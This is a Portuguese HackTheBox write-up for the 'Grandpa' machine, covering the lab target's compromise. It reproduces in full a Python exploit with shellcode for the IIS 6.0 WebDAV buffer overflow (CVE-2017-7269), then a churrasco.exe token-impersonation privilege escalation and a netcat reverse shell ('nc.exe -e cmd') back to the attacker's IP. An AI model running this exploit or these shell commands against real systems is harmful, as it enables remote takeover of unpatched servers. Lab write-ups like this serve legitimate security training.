> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/grandpa-hackthebox-writeup.md).

# Writeup do HackTheBox Grandpa

Writeup da máquina Easy Windows Grandpa do HackTheBox cobrindo Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' estouro remoto de buffer (RCE), sequestro de token - Churrasco (escalada de privilégios), com pract

{% embed url="<https://app.hackthebox.com/machines/Grandpa>" %}

{% hint style="warning" %}
**Habilidades:**

* Microsoft IIS 6.0 - estouro remoto de buffer 'ScStoragePathFromUrl' do WebDAV (RCE)
* Sequestro de token - Churrasco (Escalada de privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b082587d755afe576b216c4dda1ff7e31930a17%2F%7BF51BA4AF-44C1-4EC3-AF5A-450EA752BC1B%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3555ee33402148daddc17077b4333662ea375f1%2F%7BEF869424-70BA-4A8F-8A3B-D154073F9EAE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Pesquisar portas abertas com Nmap: 80**

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.14 -oG allPortsbash
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc60ce83e742af5a538131d47bf707a37f4e5db5%2F%7B1112E4D0-ABAB-4323-AD56-FCBE635BF133%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap :**

```bash
nmap -sCV -p80 10.10.10.14 -oN targeted
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8ec923df7e6272beb46d4aad53089ab43d9980cb%2F%7B7432451F-5ED2-430A-A6AA-4AA1377D60BD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Notamos que a página usa **WebDAV** em **Microsoft-IIS 6.0**.

## Exploração do WebDAV - Microsoft-IIS 6.0

**Teste de upload com Davtest**

Verificamos se conseguimos injetar arquivos maliciosos:

```bash
davtest -url http://10.10.10.14
```

No entanto, toda extensão retorna **falha**, indicando que os uploads são restritos.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e4cb6bc5384505ad410c7c6260c3c3349448a32%2F%7B10806CDB-424A-424F-B244-522D83E564E8%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Como confirmamos que o servidor está executando **IIS 6.0**, estamos explorando uma vulnerabilidade de **estouro de buffer** descoberta em 2017.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-101e795548655b488c6a9fe30c44a9a2c5bc9750%2F%7B69DA912E-B759-4168-9442-404FD35261C8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Aqui está um script em Python para explorar essa falha e obter um shell:

{% embed url="<https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269>" %}

```python
import sys
import struct
import socket  

if len(sys.argv)<5:
    print 'uso:iis6webdav.py targetip targetport reverseip reverseport/n'
    exit(1)
targetip = sys.argv[1]
targetport = int(sys.argv[2])
reverseip = sys.argv[3]
reverseport = int(sys.argv[4])

shellcode='/x55/x8B/xEC/x81/xEC/xDC/x05/x00/x00/x53/x56/x57/x8B/x45/x08/x8B'+/
'/x40/x78/x89/x85/xE4/xFA/xFF/xFF/x8B/x45/x08/x8B/x40/x70/x89/x45'+/
'/xFC/xC7/x85/xC8/xFC/xFF/xFF/x77/x73/x32/x5F/xC7/x85/xCC/xFC/xFF'+/
'/xFF/x33/x32/x2E/x64/xC7/x85/xD0/xFC/xFF/xFF/x6C/x6C/x00/x00/xC7'+/
'/x85/xD8/xFA/xFF/xFF/x57/x53/x41/x53/xC7/x85/xDC/xFA/xFF/xFF/x74'+/
'/x61/x72/x74/xC7/x85/xE0/xFA/xFF/xFF/x75/x70/x00/x00/xC7/x85/x58'+/
'/xFA/xFF/xFF/x57/x53/x41/x53/xC7/x85/x5C/xFA/xFF/xFF/x6F/x63/x6B'+/
'/x65/xC7/x85/x60/xFA/xFF/xFF/x74/x41/x00/x00/xC7/x85/xE8/xFC/xFF'+/
'/xFF/x57/x53/x41/x43/xC7/x85/xEC/xFC/xFF/xFF/x6F/x6E/x6E/x65/xC7'+/
'/x85/xF0/xFC/xFF/xFF/x63/x74/x00/x00/xC7/x85/xA8/xFA/xFF/xFF/x69'+/
'/x6E/x65/x74/xC7/x85/xAC/xFA/xFF/xFF/x5F/x61/x64/x64/xC7/x85/xB0'+/
'/xFA/xFF/xFF/x72/x00/x00/x00/xC7/x85/x14/xFD/xFF/xFF/x68/x74/x6F'+/
'/x6E/xC7/x85/x18/xFD/xFF/xFF/x73/x00/x00/x00/xC7/x85/xF4/xFC/xFF'+/
'/xFF/x43/x3A/x5C/x57/xC7/x85/xF8/xFC/xFF/xFF/x69/x6E/x64/x6F/xC7'+/
'/x85/xFC/xFC/xFF/xFF/x77/x73/x5C/x73/xC7/x85/x00/xFD/xFF/xFF/x79'+/
'/x73/x74/x65/xC7/x85/x04/xFD/xFF/xFF/x6D/x33/x32/x5C/xC7/x85/x08'+/
'/xFD/xFF/xFF/x63/x6D/x64/x2E/xC7/x85/x0C/xFD/xFF/xFF/x65/x78/x65'+/
'/x00/xC7/x85/x18/xFB/xFF/xFF/x43/x3A/x5C/x57/xC7/x85/x1C/xFB/xFF'+/
'/xFF/x69/x6E/x64/x6F/xC7/x85/x20/xFB/xFF/xFF/x77/x73/x5C/x73/xC7'+/
'/x85/x24/xFB/xFF/xFF/x79/x73/x74/x65/xC7/x85/x28/xFB/xFF/xFF/x6D'+/
'/x33/x32/x5C/xC7/x85/x2C/xFB/xFF/xFF/x63/x61/x6C/x63/xC7/x85/x30'+/
'/xFB/xFF/xFF/x2E/x65/x78/x65/x83/xA5/x34/xFB/xFF/xFF/x00/xC7/x85'+/
'/xE8/xFA/xFF/xFF/x43/x3A/x5C/x57/xC7/x85/xEC/xFA/xFF/xFF/x49/x4E'+/
'/x44/x4F/xC7/x85/xF0/xFA/xFF/xFF/x57/x53/x5C/x49/xC7/x85/xF4/xFA'+/
'/xFF/xFF/x49/x53/x20/x54/xC7/x85/xF8/xFA/xFF/xFF/x65/x6D/x70/x6F'+/
'/xC7/x85/xFC/xFA/xFF/xFF/x72/x61/x72/x79/xC7/x85/x00/xFB/xFF/xFF'+/
'/x20/x43/x6F/x6D/xC7/x85/x04/xFB/xFF/xFF/x70/x72/x65/x73/xC7/x85'+/
'/x08/xFB/xFF/xFF/x73/x65/x64/x20/xC7/x85/x0C/xFB/xFF/xFF/x46/x69'+/
'/x6C/x65/xC7/x85/x10/xFB/xFF/xFF/x73/x5C/x63/x2E/xC7/x85/x14/xFB'+/
'/xFF/xFF/x65/x78/x65/x00/xC7/x85/xD0/xFA/xFF/xFF'+struct.pack('i',reverseport)+/
'/xE9/x3E/x04/x00/x00/x5F/x89/xBD/xB4/xFA/xFF/xFF/xE8/x4C/x04/x00'+/
'/x00/x89/x85/x24/xFA/xFF/xFF/x68/x53/xC0/x49/x9C/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/x5D/x04/x00/x00/x59/x59/x89/x85/x28/xFA/xFF/xFF/x68'+/
'/x5A/xC1/xCB/xC2/xFF/xB5/x24/xFA/xFF/xFF/xE8/x45/x04/x00/x00/x59'+/
'/x59/x89/x85/x2C/xFA/xFF/xFF/x68/x1C/xC9/x05/xBA/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/x2D/x04/x00/x00/x59/x59/x89/x85/x30/xFA/xFF/xFF/x68'+/
'/x54/x34/x4F/xA2/xFF/xB5/x24/xFA/xFF/xFF/xE8/x15/x04/x00/x00/x59'+/
'/x59/x89/x85/x34/xFA/xFF/xFF/x68/x12/x75/x1D/x45/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/xFD/x03/x00/x00/x59/x59/x89/x85/x38/xFA/xFF/xFF/x68'+/
'/xE9/x65/x73/x1B/xFF/xB5/x24/xFA/xFF/xFF/xE8/xE5/x03/x00/x00/x59'+/
'/x59/x89/x85/x3C/xFA/xFF/xFF/x68/x3A/xFD/xFB/x1E/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/xCD/x03/x00/x00/x59/x59/x89/x85/x40/xFA/xFF/xFF/x68'+/
'/xBD/x50/xD7/x2D/xFF/xB5/x24/xFA/xFF/xFF/xE8/xB5/x03/x00/x00/x59'+/
'/x59/x89/x85/x44/xFA/xFF/xFF/x68/xEF/x60/x08/xE7/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/x9D/x03/x00/x00/x59/x59/x89/x85/x48/xFA/xFF/xFF/x68'+/
'/x83/x94/x7B/x10/xFF/xB5/x24/xFA/xFF/xFF/xE8/x85/x03/x00/x00/x59'+/
'/x59/x89/x85/x4C/xFA/xFF/xFF/x68/x49/x17/x55/xC0/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/x6D/x03/x00/x00/x59/x59/x89/x85/x50/xFA/xFF/xFF/x68'+/
'/xD9/xE5/x1A/x06/xFF/xB5/x24/xFA/xFF/xFF/xE8/x55/x03/x00/x00/x59'+/
'/x59/x89/x85/x54/xFA/xFF/xFF/x8D/x85/xC8/xFC/xFF/xFF/x50/xFF/x95'+/
'/x28/xFA/xFF/xFF/x89/x85/x1C/xFD/xFF/xFF/x83/xBD/x1C/xFD/xFF/xFF'+/
'/x00/x0F/x84/x39/x01/x00/x00/x83/xA5/xD4/xFA/xFF/xFF/x00/xEB/x0D'+/
'/x8B/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF/xFF/x83/xBD/xD4'+/
'/xFA/xFF/xFF/x44/x73/x10/x8B/x85/xD4/xFA/xFF/xFF/x80/xA4/x05/x64'+/
'/xFA/xFF/xFF/x00/xEB/xDA/x83/xA5/xD4/xFA/xFF/xFF/x00/xEB/x0D/x8B'+/
'/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF/xFF/x83/xBD/xD4/xFA'+/
'/xFF/xFF/x10/x73/x10/x8B/x85/xD4/xFA/xFF/xFF/x80/xA4/x05/x20/xFD'+/
'/xFF/xFF/x00/xEB/xDA/x8D/x85/x20/xFD/xFF/xFF/x50/x8D/x85/x64/xFA'+/
'/xFF/xFF/x50/x6A/x00/x6A/x00/x6A/x04/x6A/x00/x6A/x00/x6A/x00/x6A'+/
'/x00/x8D/x85/x18/xFB/xFF/xFF/x50/xFF/x95/x34/xFA/xFF/xFF/xFF/xB5'+/
'/x24/xFD/xFF/xFF/xFF/x95/x3C/xFA/xFF/xFF/x68/xE8/x03/x00/x00/xFF'+/
'/x95/x54/xFA/xFF/xFF/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x40/xFA/xFF'+/
'/xFF/xC7/x85/x30/xFD/xFF/xFF/x01/x00/x01/x00/x8D/x85/x30/xFD/xFF'+/
'/xFF/x50/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x44/xFA/xFF/xFF/x6A/x40'+/
'/x68/x00/x10/x00/x00/xFF/x75/xFC/x6A/x00/xFF/xB5/x20/xFD/xFF/xFF'+/
'/xFF/x95/x48/xFA/xFF/xFF/x89/x85/x10/xFD/xFF/xFF/x6A/x00/xFF/x75'+/
'/xFC/xFF/xB5/xE4/xFA/xFF/xFF/xFF/xB5/x10/xFD/xFF/xFF/xFF/xB5/x20'+/
'/xFD/xFF/xFF/xFF/x95/x4C/xFA/xFF/xFF/x8B/x85/x10/xFD/xFF/xFF/x89'+/
'/x85/xE8/xFD/xFF/xFF/xC7/x85/x30/xFD/xFF/xFF/x01/x00/x01/x00/x8D'+/
'/x85/x30/xFD/xFF/xFF/x50/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x50/xFA'+/
'/xFF/xFF/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x3C/xFA/xFF/xFF/xEB/x1E'+/
'/x6A/x00/x8D/x85/xE8/xFA/xFF/xFF/x50/x8D/x85/xF4/xFC/xFF/xFF/x50'+/
'/xFF/x95/x30/xFA/xFF/xFF/x6A/x01/xFF/x95/x38/xFA/xFF/xFF/x68/x70'+/
'/x17/x00/x00/xFF/x95/x54/xFA/xFF/xFF/x8D/x85/xD8/xFA/xFF/xFF/x50'+/
'/xFF/xB5/x1C/xFD/xFF/xFF/xFF/x95/x2C/xFA/xFF/xFF/x89/x85/xBC/xFA'+/
'/xFF/xFF/x8D/x85/x58/xFA/xFF/xFF/x50/xFF/xB5/x1C/xFD/xFF/xFF/xFF'+/
'/x95/x2C/xFA/xFF/xFF/x89/x85/xC0/xFA/xFF/xFF/x8D/x85/xE8/xFC/xFF'+/
'/xFF/x50/xFF/xB5/x1C/xFD/xFF/xFF/xFF/x95/x2C/xFA/xFF/xFF/x89/x85'+/
'/xC4/xFA/xFF/xFF/x8D/x85/xA8/xFA/xFF/xFF/x50/xFF/xB5/x1C/xFD/xFF'+/
'/xFF/xFF/x95/x2C/xFA/xFF/xFF/x89/x85/xC8/xFA/xFF/xFF/x8D/x85/x14'+/
'/xFD/xFF/xFF/x50/xFF/xB5/x1C/xFD/xFF/xFF/xFF/x95/x2C/xFA/xFF/xFF'+/
'/x89/x85/xCC/xFA/xFF/xFF/x8D/x85/x38/xFB/xFF/xFF/x50/x68/x02/x02'+/
'/x00/x00/xFF/x95/xBC/xFA/xFF/xFF/x6A/x00/x6A/x00/x6A/x00/x6A/x06'+/
'/x6A/x01/x6A/x02/xFF/x95/xC0/xFA/xFF/xFF/x89/x85/xD4/xFC/xFF/xFF'+/
'/x66/xC7/x85/xD8/xFC/xFF/xFF/x02/x00/xFF/xB5/xD0/xFA/xFF/xFF/xFF'+/
'/x95/xCC/xFA/xFF/xFF/x66/x89/x85/xDA/xFC/xFF/xFF/xFF/xB5/xB4/xFA'+/
'/xFF/xFF/xFF/x95/xC8/xFA/xFF/xFF/x89/x85/xDC/xFC/xFF/xFF/x6A/x00'+/
'/x6A/x00/x6A/x00/x6A/x00/x6A/x10/x8D/x85/xD8/xFC/xFF/xFF/x50/xFF'+/
'/xB5/xD4/xFC/xFF/xFF/xFF/x95/xC4/xFA/xFF/xFF/x83/xA5/xD4/xFA/xFF'+/
'/xFF/x00/xEB/x0D/x8B/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF'+/
'/xFF/x83/xBD/xD4/xFA/xFF/xFF/x44/x73/x10/x8B/x85/xD4/xFA/xFF/xFF'+/
'/x80/xA4/x05/x64/xFA/xFF/xFF/x00/xEB/xDA/xC7/x85/x64/xFA/xFF/xFF'+/
'/x44/x00/x00/x00/xC7/x85/x90/xFA/xFF/xFF/x01/x01/x00/x00/x8B/x85'+/
'/xD4/xFC/xFF/xFF/x89/x85/xA4/xFA/xFF/xFF/x8B/x85/xA4/xFA/xFF/xFF'+/
'/x89/x85/xA0/xFA/xFF/xFF/x8B/x85/xA0/xFA/xFF/xFF/x89/x85/x9C/xFA'+/
'/xFF/xFF/x8D/x85/x20/xFD/xFF/xFF/x50/x8D/x85/x64/xFA/xFF/xFF/x50'+/
'/x6A/x00/x6A/x00/x6A/x00/x6A/x01/x6A/x00/x6A/x00/x8D/x85/xE8/xFA'+/
'/xFF/xFF/x50/x6A/x00/xFF/x95/x34/xFA/xFF/xFF/x6A/x01/xFF/x95/x38'+/
'/xFA/xFF/xFF/xE8/xBD/xFB/xFF/xFF'+struct.pack('16s',reverseip)+'/x5F/x5E/x5B/xC9/xC3/x64/xA1/x18'+/
'/x00/x00/x00/x8B/x40/x30/x33/xC9/x8B/x40/x0C/x8B/x40/x1C/x8B/x00'+/
'/x8B/x50/x20/x66/x83/x7A/x10/x2E/x74/x06/x41/x83/xF9/x02/x7C/xEE'+/
'/x8B/x40/x08/xC3/x55/x8B/xEC/x53/x56/x57/x8B/x7D/x08/x83/x65/x08'+/
'/x00/x8B/x47/x3C/x8B/x44/x38/x78/x03/xC7/x8B/x70/x20/x03/xF7/x83'+/
'/x78/x18/x00/x76/x2A/x8B/x0E/x03/xCF/x33/xDB/x8A/x11/x84/xD2/x74'+/
'/x0B/x6B/xDB/x21/x0F/xBE/xD2/x03/xDA/x41/xEB/xEF/x3B/x5D/x0C/x74'+/
'/x15/x83/xC6/x04/xFF/x45/x08/x8B/x4D/x08/x3B/x48/x18/x72/xD6/x33'+/
'/xC0/x5F/x5E/x5B/x5D/xC3/x8B/x48/x24/x8B/x55/x08/x8B/x40/x1C/x8D'+/
'/x0C/x51/x0F/xB7/x0C/x39/x8D/x04/x88/x8B/x04/x38/x03/xC7/xEB/xE1'
shellcodelen = 1744

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect((targetip,targetport))
pay='PROPFIND / HTTP/1.1/r/nHost: localhost/r/nContent-Length: %d/r/n'%shellcodelen
pay+='If: <http://localhost/aaaaaaa'
pay+='/xe6/xbd/xa8/xe7/xa1/xa3/xe7/x9d/xa1/xe7/x84/xb3/xe6/xa4/xb6/xe4/x9d/xb2/xe7/xa8/xb9/xe4/xad/xb7/xe4/xbd/xb0/xe7/95/x93/xe7/xa9/x8f/xe4/xa1/x8a/xe5/x99/xa3/xe6/xbd/xb1/xe6/xa1/x85/xe3/xa5/x93/xe5/x81/xac/xe5/x95/xa7/xe6/x9d/xa3/xe3/x8d/xa4/xe4/x98/xb0/xe7/xa1/x85/xe6/xa5/x92/xe5/x90/xb1/xe4/xb1/x98/xe6/xa9/x91/xe7/x89/x81/xe4/x88/xb1/xe7/x80/xb5/xe5/xa1/x90/xe3/x99/xa4/xe6/xb1/x87/xe3/x94/xb9/xe5/x91/xaa/xe5/x80/xb4/xe5/x91/x83/xe7/x9d/x92/xe5/x81/xa1/xe3/x88/xb2/xe6/xbd/x8b/xe6/xb0/xb4/xe3/x89/x87/xe6/x89/x81/xe3/x9d/x8d/xe5/x85/xa1/xe5/xa1/xa2/xe4/x9d/xb3/xe5/x89/x90/xe3/x99/xb0/xe7/x95/x84/xe6/xa1/xaa/xe3/x8d/xb4/xe4/xb9/x8a/xe7/xa1/xab/xe4/xa5/xb6/xe4/xb9/xb3/xe4/xb1/xaa/xe5/x9d/xba/xe6/xbd/xb1/xe5/xa1/x8a/xe3/x88/xb0/xe3/x9d/xae/xe4/xad/x89/xe5/x89/x8d/xe4/xa1/xa3/xe6/xbd/x8c/xe7/x95/x96/xe7/x95/xb5/xe6/x99/xaf/xe7/x99/xa8/xe4/x91/x8d/xe5/x81/xb0/xe7/xa8/xb6/xe6/x89/x8b/xe6/x95/x97/xe7/x95/x90/xe6/xa9/xb2/xe7/xa9/xab/xe7/x9d/xa2/xe7/x99/x98/xe6/x89/x88/xe6/x94/xb1/xe3/x81/x94/xe6/xb1/xb9/xe5/x81/x8a/xe5/x91/xa2/xe5/x80/xb3/xe3/x95/xb7/xe6/xa9/xb7/xe4/x85/x84/xe3/x8c/xb4/xe6/x91/xb6/xe4/xb5/x86/xe5/x99/x94/xe4/x9d/xac/xe6/x95/x83/xe7/x98/xb2/xe7/x89/xb8/xe5/x9d/xa9/xe4/x8c/xb8/xe6/x89/xb2/xe5/xa8/xb0/xe5/xa4/xb8/xe5/x91/x88/xc8/x82/xc8/x82/xe1/x8b/x80/xe6/xa0/x83/xe6/xb1/x84/xe5/x89/x96/xe4/xac/xb7/xe6/xb1/xad/xe4/xbd/x98/xe5/xa1/x9a/xe7/xa5/x90/xe4/xa5/xaa/xe5/xa1/x8f/xe4/xa9/x92/xe4/x85/x90/xe6/x99/x8d/xe1/x8f/x80/xe6/xa0/x83/xe4/xa0/xb4/xe6/x94/xb1/xe6/xbd/x83/xe6/xb9/xa6/xe7/x91/x81/xe4/x8d/xac/xe1/x8f/x80/xe6/xa0/x83/xe5/x8d/x83/xe6/xa9/x81/xe7/x81/x92/xe3/x8c/xb0/xe5/xa1/xa6/xe4/x89/x8c/xe7/x81/x8b/xe6/x8d/x86/xe5/x85/xb3/xe7/xa5/x81/xe7/xa9/x90/xe4/xa9/xac'
pay+='>'
pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb'
pay+='/xe7/xa5/x88/xe6/x85/xb5/xe4/xbd/x83/xe6/xbd/xa7/xe6/xad/xaf/xe4/xa1/x85/xe3/x99/x86/xe6/x9d/xb5/xe4/x90/xb3/xe3/xa1/xb1/xe5/x9d/xa5/xe5/xa9/xa2/xe5/x90/xb5/xe5/x99/xa1/xe6/xa5/x92/xe6/xa9/x93/xe5/x85/x97/xe3/xa1/x8e/xe5/xa5/x88/xe6/x8d/x95/xe4/xa5/xb1/xe4/x8d/xa4/xe6/x91/xb2/xe3/x91/xa8/xe4/x9d/x98/xe7/x85/xb9/xe3/x8d/xab/xe6/xad/x95/xe6/xb5/x88/xe5/x81/x8f/xe7/xa9/x86/xe3/x91/xb1/xe6/xbd/x94/xe7/x91/x83/xe5/xa5/x96/xe6/xbd/xaf/xe7/x8d/x81/xe3/x91/x97/xe6/x85/xa8/xe7/xa9/xb2/xe3/x9d/x85/xe4/xb5/x89/xe5/x9d/x8e/xe5/x91/x88/xe4/xb0/xb8/xe3/x99/xba/xe3/x95/xb2/xe6/x89/xa6/xe6/xb9/x83/xe4/xa1/xad/xe3/x95/x88/xe6/x85/xb7/xe4/xb5/x9a/xe6/x85/xb4/xe4/x84/xb3/xe4/x8d/xa5/xe5/x89/xb2/xe6/xb5/xa9/xe3/x99/xb1/xe4/xb9/xa4/xe6/xb8/xb9/xe6/x8d/x93/xe6/xad/xa4/xe5/x85/x86/xe4/xbc/xb0/xe7/xa1/xaf/xe7/x89/x93/xe6/x9d/x90/xe4/x95/x93/xe7/xa9/xa3/xe7/x84/xb9/xe4/xbd/x93/xe4/x91/x96/xe6/xbc/xb6/xe7/x8d/xb9/xe6/xa1/xb7/xe7/xa9/96/xe6/x85/x8a/xe3/xa5/x85/xe3/x98/xb9/xe6/xb0/xb9/xe4/x94/xb1/xe3/x91/xb2/xe5/x8d/xa5/xe5/xa1/x8a/xe4/x91/x8e/xe7/xa9/x84/xe6/xb0/xb5/xe5/xa9/x96/xe6/x89/x81/xe6/xb9/xb2/xe6/x98/xb1/xe5/xa5/x99/xe5/x90/xb3/xe3/x85/82/xe5/xa1/xa5/xe5/xa5/x81/xe7/x85/x90/xe3/x80/xb6/xe5/x9d/xb7/xe4/x91/x97/xe5/x8d/xa1/xe1/x8f/x80/xe6/xa0/x83/xe6/xb9/x8f/xe6/xa0/x80/xe6/xb9/x8f/xe6/xa0/x80/xe4/x89/x87/xe7/x99/xaa/xe1/x8f/x80/xe6/xa0/x83/xe4/x89/x97/xe4/xbd/xb4/xe5/xa5/x87/xe5/x88/xb4/xe4/xad/xa6/xe4/xad/x82/xe7/x91/xa4/xe7/xa1/xaf/xe6/x82/x82/xe6/xa0/x81/xe5/x84/xb5/xe7/x89/xba/xe7/x91/xba/xe4/xb5/x87/xe4/x91/x99/xe5/x9d/x97/xeb/x84/x93/xe6/xa0/x80/xe3/85/xb6/xe6/xb9/xaf/xe2/x93/xa3/xe6/xa0/x81/xe1/x91/xa0/xe6/xa0/x83/xcc/x80/xe7/xbf/xbe/xef/xbf/xbf/xef/xbf/xbf/xe1/x8f/x80/xe6/xa0/x83/xd1/xae/xe6/xa0/x83/xe7/x85/xae/xe7/x91/xb0/xe1/x90/xb4/xe6/xa0/x83/xe2/xa7/xa7/xe6/xa0/x81/xe9/x8e/x91/xe6/xa0/x80/xe3/xa4/xb1/xe6/x99/ae/xe4/xa5/x95/xe3/x81/x92/xe5/x91/xab/xe7/x99/xab/xe7/x89/x8a/xe7/xa5/xa1/xe1/x90/x9c/xe6/xa0/x83/xe6/xb8/x85/xe6/xa0/x80/xe7/x9c/xb2/xe7/xa5/xa8/xe4/xb5/xa9/xe3/x99/xac/xe4/x91/xa8/xe4/xb5/xb0/xe8/x89/x86/xe6/xa0/x80/xe4/xa1/xb7/xe3/89/x93/xe1/xb6/xaa/xe6/xa0/x82/xe6/xbd/xaa/xe4/x8c/xb5/xe1/x8f/xb8/xe6/xa0/x83/xe2/xa7/xa7/xe6/xa0/x81'
smallsc='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A'
pay+=smallsc
pay+='>/r/n/r/n'
print pay
sock.send(pay)
sock.send(shellcode)
data = sock.recv(80960)  
print data 
sock.close
```

#### Estamos escutando na porta 443:

```bash
rlwrap nc -nvlp 443
```

#### Então lançamos o exploit:

```bash
python2 iis6webdav.py 10.10.10.14 80 10.10.14.32 443
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b522822278c078c470f358f80140810e5d9577e%2Fimage%20(2813).png?alt=media" alt=""><figcaption></figcaption></figure>

## Escalada de Privilégios

### Exploração de kernel - Windows Server 2003 <a href="#windows-server-2003-kernel-exploitation" id="windows-server-2003-kernel-exploitation"></a>

Ao executar o `systeminfo` comando, descobrimos que o equipamento alvo está executando sob **Windows Server 2003**, um sistema operacional obsoleto e vulnerável:

```bash
systeminfo
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ef6e38008f234310df390d17f0f81aaeabe4f93%2F%7BF5CDE9FC-A2A2-412F-B585-D9CBB15E317E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Além disso, temos o privilégio **SeImpersonatePrivilege**, o que nos permite tentar elevar privilégios usando técnicas conhecidas.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30f15dd7b2709a35d9fc92ede975e1da3ef6b983%2F%7BE5C81EE1-4019-4E9F-89FD-9FE9A1BC8C7F%7D.png?alt=media" alt="" width="542"><figcaption></figcaption></figure>

#### Usando churrasco.exe

Para explorar essa falha, usaremos **churrasco.exe**, um exploit para obter privilégios SYSTEM.

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

/*/* Transferência de Arquivos no Windows (SMB)/*/*

> Usamos **smbserver.py** para compartilhar um diretório contendo o arquivo de exploit 40627.exe. Esse arquivo é então copiado para a máquina alvo.

```bash
smbserver.py share $(pwd) -smb2support
```

Da máquina alvo, copiamos o arquivo do exploit para o diretório atual:

```bash
copy //10.10.14.32/share/churrasco.exe churrasco.exe
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f14f2a8fa3126bc6e4fc24e6e4616bb0a73f7ab2%2F%7B3581F8F7-6917-4900-A246-930213332D61%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Em seguida, podemos executar qualquer comando com esse binário, por exemplo:

```bash
./churrasco.exe "whoami"
```

Se o exploit funcionar corretamente, deveremos ver **NT AUTHORITY/SYSTEM**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d2fe4aa81eacac25e2779a7e4f14089112b104c%2F%7B6F7BC816-C0C4-481D-BFAA-878ED4A10DC7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Estabelecer shell reversa**

Para estabelecer uma shell reversa, ouvimos a porta 443:

```bash
rlwrap nc -nvlp 443
```

Criamos novamente um servidor SMB com **nc.exe**

```bash
smbserver.py share $(pwd) -smb2support
```

Por fim, executamos a shell reversa com o seguinte comando:

```bash
./churrasco.exe "//10.10.14.32/share/nc.exe -e cmd 10.10.14.32 443"
```

